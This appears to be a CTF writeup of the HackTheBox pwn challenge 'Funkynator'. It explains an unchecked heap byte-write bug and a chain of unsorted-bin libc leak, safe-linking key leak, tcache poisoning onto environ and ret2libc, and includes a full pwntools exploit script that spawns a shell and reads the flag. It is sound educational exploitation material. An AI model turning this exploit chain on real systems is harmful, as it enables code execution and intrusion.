← Back to Writeups
HTBN/APwn

Funkynator

XESXOR8/23/20268 min read
#pwn#htb#n/a

Funkynator

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-19 | Status: Solved Techniques: environ_stack_leak, ret2libc, safe_linking_key_leak, tcache_poisoning_stack, unsorted_bin_libc_leak

Summary

Task: A hardened PIE binary with Full RELRO, NX, Canary, and a heap message editor that allows unchecked byte writes by user-controlled offset. Solution: Leak libc through unsorted-bin metadata, recover the safe-linking key from a freed tcache chunk, poison tcache to land on environ, leak the stack, and return into a ret2libc ROP chain.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260519_hackthebox_funkynator
  • Tags: pie, heap_overflow, full_relro, tcache_poisoning, environ_leak, stack_rop, canary, safe_linking, arbitrary_byte_write, unsorted_bin, glibc_2.41
  • Indicators: unchecked unsigned offset write into heap buffer, puts() used to examine heap data, adjacent freed tcache chunk reveals safe-linking key when fd is NULL, provided glibc 2.41 removes easy hook targets, environ is reachable after tcache poisoning
  • Source: 20260519_hackthebox_funkynator.md

Foothold

Vulnerability / Misconfiguration

  1. Environ_stack_leak
  2. Ret2libc
  3. Safe_linking_key_leak
  4. Tcache_poisoning_stack
  5. Unsorted_bin_libc_leak
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • environ_stack_leak
  • ret2libc
  • safe_linking_key_leak
  • tcache_poisoning_stack
  • unsorted_bin_libc_leak
  • Tags: pie, heap_overflow, full_relro, tcache_poisoning, environ_leak, stack_rop, canary, safe_linking, arbitrary_byte_write, unsorted_bin, glibc_2.41

Original Writeup

<details><summary>Click to expand original content</summary>

Description

No original organizer description was preserved in the task files.

The binary lets us create, save, revisit, and edit heap-backed messages. Despite strong mitigations and a modern provided glibc 2.41, one unchecked byte-write primitive is enough to build a full heap-to-stack exploitation chain.

Analysis

Binary summary

  • Binary: challenge/funkynator
  • Provided libc: challenge/glibc/libc.so.6
  • Protections: Full RELRO, NX, Canary, PIE

Core bug

The vulnerability is in process_message().

puts("please give the offset of the byte:");
size_t offset;
scanf("%lu", &offset);
...
message[offset] = (char)value;

offset is read as an unsigned long and never validated, so the menu option overwrite byte becomes an arbitrary relative one-byte write from the current heap chunk. That lets us:

  • corrupt the current chunk header,
  • extend printing into adjacent chunks,
  • overwrite freed-chunk metadata such as tcache fd pointers.

Important reversing notes

funkify() only changes alphabetic characters to alternating case. Non-alphabetic bytes are left untouched, so heap metadata, pointer bytes, and ROP payload bytes survive as long as we avoid alphabetic characters where needed.

Why the first FSOP idea failed

The initial plan was a House of Apple 2 / _IO_list_all attack. That line of attack was abandoned for a good reason:

  1. Reaching _IO_list_all did not trigger code execution.
  2. Even replacing _IO_list_all with a sentinel like 0xdeadbeef still produced a normal exit.
  3. That strongly suggested the expected flush path was not reached in a useful way for this binary/libc combination.

Instead of forcing FSOP further, the successful exploit pivoted completely to a more direct path: libc leak -> safe-linking key leak -> tcache poison -> environ leak -> stack ROP.

Solution

Step 1: Leak libc from unsorted-bin metadata

Allocate chunks around 0x100, 0x500, and 0x20, then free the large one so it enters the unsorted bin. Continue processing the earlier chunk and use the relative byte write to corrupt size bytes, extending what puts() can print during examine.

That exposes the freed unsorted-bin metadata and leaks the unsorted fd pointer.

Working formula:

libc_base = libc_leak - 0x1e7b20

Step 2: Leak the heap safe-linking key

Free one adjacent 0x40-class tcache chunk and extend the previous chunk over it. For a singly freed chunk, the stored fd is NULL, so the first qword we read back effectively gives the safe-linking key:

heap_key = chunk_addr >> 12

This is enough to encode a poisoned forward pointer later.

Step 3: Use the correct tcache-poison pattern

A single freed chunk is not enough. If the poisoned chunk is the only element in that tcache bin, the next allocation pops it and the bin becomes empty before the poisoned target can be returned.

The working pattern was:

  1. Leak heap_key separately.
  2. Allocate fresh p, q, r in the 0x40 size class.
  3. Free r, then free q, so q becomes the tcache head and q->fd points to r.
  4. Continue processing adjacent p.
  5. Overwrite q->fd = target ^ heap_key.
  6. First allocation pops q; second allocation returns target.

For the stack leak stage, the chosen target was:

target = environ - 0x48

Step 4: Leak a stack pointer through environ

After poisoning tcache, allocate onto environ - 0x48. Then fill bytes 0x28..0x47 with nonzero values so puts() does not stop early and reaches the environ pointer during examine.

The leak was parsed as:

stack_leak = u64(data[0x48:0x4e] + b'\x00\x00')
saved_rip = stack_leak - 0x1b0

Step 5: Write a ret2libc chain on the saved return address

With the saved return address known, the exploit writes a short ROP chain directly onto the process_message() stack frame:

  1. ret (alignment)
  2. pop rdi; ret
  3. Pointer to "/bin/sh" in libc
  4. system

When process_message() returns, execution immediately pivots into this chain.

Key offsets

LIBC_ENVIRON   = 0x1eee28
LIBC_BINSH     = 0x1a7ea4
LIBC_SYSTEM    = 0x053110
LIBC_LEAK_OFF  = 0x1e7b20
STACK_RIP_DELTA = 0x1b0

The pop rdi; ret and ret gadget offsets were obtained from pwntools.ROP() on the provided libc.

Full exploit

#!/usr/bin/env python3
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'info'

LIBC_ENVIRON = 0x1eee28
LIBC_BINSH = 0x1a7ea4
LIBC_SYSTEM = 0x053110
LIBC_LEAK_OFF = 0x1e7b20
STACK_RIP_DELTA = 0x1b0

HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 11337

libc = ELF('challenge/glibc/libc.so.6', checksec=False)
rop = ROP(libc)
POP_RDI = rop.find_gadget(['pop rdi', 'ret']).address
RET = rop.find_gadget(['ret']).address


def conn():
    io = remote(HOST, PORT, timeout=10)
    io.recvuntil(b'name?\n')
    io.sendline(b'hacker')
    return io


def menu(io, choice):
    io.recvuntil(b'> ')
    io.sendline(str(choice).encode())


def create_and_save(io, size, data=None):
    menu(io, 2)
    io.recvuntil(b':\n')
    io.sendline(str(size).encode())
    io.recvuntil(b':\n')
    d = data if data is not None else b'A' * size
    if len(d) < size:
        d += b'A' * (size - len(d))
    io.sendline(d[:size])
    io.recvuntil(b'text?\n')
    io.sendline(b'n')
    io.recvuntil(b'memory?\n')
    io.sendline(b'y')
    io.recvuntil(b'location ')
    return int(io.recvline().strip())


def delete(io, slot):
    menu(io, 4)
    io.recvuntil(b':\n')
    io.sendline(str(slot).encode())


def cont_proc(io, slot):
    menu(io, 5)
    io.recvuntil(b':\n')
    io.sendline(str(slot).encode())
    io.recvuntil(b'> ')


def ow(io, offset, value):
    io.sendline(b'3')
    io.recvuntil(b':\n')
    if offset < 0:
        offset &= 0xffffffffffffffff
    io.sendline(str(offset).encode())
    io.recvuntil(b'?\n')
    io.send(bytes([value & 0xff]) + b'\n')
    io.recvuntil(b'> ')


def wb(io, offset, data):
    for i, b in enumerate(data):
        ow(io, offset + i, b)


def examine(io):
    io.sendline(b'2')
    io.recvuntil(b'Your message:\n')
    data = io.recvuntil(b'+---------------------------+', drop=True)
    io.recvuntil(b'> ')
    return data.rstrip(b'\n')


def stop_free(io):
    io.sendline(b'1')
    io.recvuntil(b'memory?\n')
    io.sendline(b'n')


def stop_save(io):
    io.sendline(b'1')
    io.recvuntil(b'memory?\n')
    io.sendline(b'y')
    io.recvuntil(b'location ')
    return int(io.recvline().strip())


def main():
    io = conn()

    # libc leak via unsorted fd
    s1 = create_and_save(io, 0x100)
    s2 = create_and_save(io, 0x500)
    create_and_save(io, 0x20)
    delete(io, s2)
    cont_proc(io, s1)
    ow(io, -8, 0x21)
    ow(io, -7, 0x06)
    for i in range(0x100, 0x110):
        ow(io, i, 0x41)
    for i in range(0x118, 0x120):
        ow(io, i, 0x41)
    data = examine(io)
    libc_leak = u64(data[0x110:0x116] + b'\x00\x00')
    libc_base = libc_leak - LIBC_LEAK_OFF
    environ_addr = libc_base + LIBC_ENVIRON
    binsh_addr = libc_base + LIBC_BINSH
    system_addr = libc_base + LIBC_SYSTEM
    pop_rdi = libc_base + POP_RDI
    ret = libc_base + RET
    log.success(f'libc_base = {hex(libc_base)}')

    ow(io, -8, 0x11)
    ow(io, -7, 0x01)
    for i in range(0x100, 0x108):
        ow(io, i, 0)
    ow(io, 0x108, 0x11)
    ow(io, 0x109, 0x05)
    for i in range(0x10A, 0x110):
        ow(io, i, 0)
    wb(io, 0x110, p64(libc_leak))
    wb(io, 0x118, p64(libc_leak))
    stop_free(io)

    # heap key leak using single freed 0x40 chunk (fd == NULL => key only)
    ka = create_and_save(io, 0x28)
    kb = create_and_save(io, 0x28)
    delete(io, kb)
    cont_proc(io, ka)
    ow(io, -8, 0x91)
    for i in range(0x28, 0x40):
        ow(io, i, 0x42)
    for i in range(0x48, 0x50):
        ow(io, i, 0x42)
    data = examine(io)
    heap_key = u64(data[0x40:min(len(data), 0x48)].ljust(8, b'\x00'))
    log.success(f'heap_key = {hex(heap_key)}')
    ow(io, -8, 0x41)
    stop_save(io)

    # real tcache poison: free extra chunk first, adjacent chunk second
    p = create_and_save(io, 0x28)
    q = create_and_save(io, 0x28)
    r = create_and_save(io, 0x28)
    delete(io, r)
    delete(io, q)
    cont_proc(io, p)
    ow(io, -8, 0x91)
    target = environ_addr - 0x48
    wb(io, 0x40, p64(target ^ heap_key))
    ow(io, -8, 0x41)
    stop_save(io)

    create_and_save(io, 0x28, b'X' * 0x28)   # pop poisoned head
    s_t = create_and_save(io, 0x28, b'Y' * 0x28)  # target allocation
    log.success(f'target allocation slot = {s_t}')

    # leak stack via environ at target+0x48
    cont_proc(io, s_t)
    for i in range(0x28, 0x48):
        ow(io, i, 0x45)
    data = examine(io)
    stack_leak = u64(data[0x48:0x4E] + b'\x00\x00')
    saved_rip = stack_leak - STACK_RIP_DELTA
    log.success(f'stack_leak = {hex(stack_leak)}')
    log.info(f'saved_rip = {hex(saved_rip)}')

    # write ROP chain onto process_message saved RIP
    chain = p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
    wb(io, saved_rip - target, chain)
    log.info('ROP chain written')

    # return from process_message directly into ROP; do NOT answer save prompt
    io.sendline(b'1')
    sleep(0.2)
    io.sendline(b'cat /home/ctf/flag.txt 2>/dev/null || cat flag.txt 2>/dev/null || cat /flag.txt 2>/dev/null')
    print(io.recvrepeat(2).decode('latin-1', errors='replace'))


if __name__ == '__main__':
    main()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR